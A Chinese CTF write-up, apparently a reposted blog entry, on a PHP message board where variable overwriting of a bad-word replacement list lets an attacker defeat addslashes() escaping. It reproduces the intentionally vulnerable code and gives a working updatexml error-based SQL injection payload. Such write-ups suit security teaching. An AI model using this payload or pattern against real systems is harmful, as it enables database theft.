【红日Day9-CTF】str_replace函数过滤不当_造成sql注入

练习记录

复现代码:

index.php

<?php  
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
    die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
    $msg = addslashes($_POST['msg']);
    $msg = replace_bad_word(convert($msg));
    $sql = "INSERT INTO users VALUES($id,'".$msg."')";
    $result = $conn->query($sql);
    if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
    <form action="index.php" method="post">
        <p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
    </form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
    while($row = $result->fetch_row()){
        echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
    }
    echo "</table></center>";
}
$conn->close();
?>

function.php

<?php  
function replace_bad_word($str){
    global $limit_words;
    foreach ($limit_words as $old => $new) {
        strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
    }
    return $str;
}

function convert($str){
    return htmlentities($str);
}

$limit_words = array('造化' => '造**', '法国' => '法*');

foreach (array('_GET','_POST') as $method) {
    foreach ($$method as $key => $value) {
        $$key = $value;
    }
}
?>
<?php  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day9";
?>
搭建CTF环境使用的sql语句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');

漏洞分析:

进入网站:

http://10.211.55.2:100/day9/index.php

在这里插入图片描述
发现页面正常,可以进行操作了。

实际上这题是以齐博CMS的漏洞为原型改造的,让我们具体来看一下漏洞是如何产生的。题目提供了一个留言版功能,并且对用户提交的留言进行 HTML实体编码转换特殊字符转义违禁词过滤 等处理,然后直接与sql语句进行拼接操作(index.php文件 下面第4行),具体代码如下:

if(isset($_POST['msg']) && $_POST['msg'] !==''){
    $msg = addslashes($_POST['msg']);
    $msg = replace_bad_word(convert($msg));
    $sql = "INSERT INTO users VALUES($id,'".$msg."')";
    $result = $conn->query($sql);
    if($conn->error) die($conn->error);
}

这些转换函数都可以在 function.php 文件中找到,我们很明显可以看到在第16-19行处进行了全局变量注册,这样就很容易引发变量覆盖问题。在第14行处定义了需要替换的违禁词数组,并在replace_bad_word函数中进行替换。这里,我们便可以通过覆盖 $limit_words数组,来逃逸单引号,因为在index.php文件中使用了addslashes函数(上面代码第2行)。

<?php  
function replace_bad_word($str){
    global $limit_words;
    foreach ($limit_words as $old => $new) {
        strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
    }
    return $str;
}

function convert($str){
    return htmlentities($str);
}

$limit_words = array('造化' => '造**', '法国' => '法**');

foreach (array('_GET','_POST') as $method) {
    foreach ($$method as $key => $value) {
        $$key = $value;
    }
}
?>

addslashes() 函数:

(PHP 4, PHP 5, PHP 7)

功能:

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL
定义:
addslashes(string)
说明:
参数 描述
string 必需。规定要转义的字符串。
范例:

在这里插入图片描述
结果:

Who’s Peter Griffin? This is not safe in a database query.
Who’s Peter Griffin? This is safe in a database query.

我们使用第一个 payload如下:

msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#&limit_words[\0\]=

在这里插入图片描述
这样我们便注出了flag,但是这里的flag并不齐全,因为updatexml报错 最多只能显示 32位 ,所以下面我使用reverse函数注出尾部数据。当然方法不止这一种,大家自己举一反三。
在这里插入图片描述
然后用python逆过来
在这里插入图片描述

发布了35 篇原创文章 · 获赞 19 · 访问量 5192

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/104005876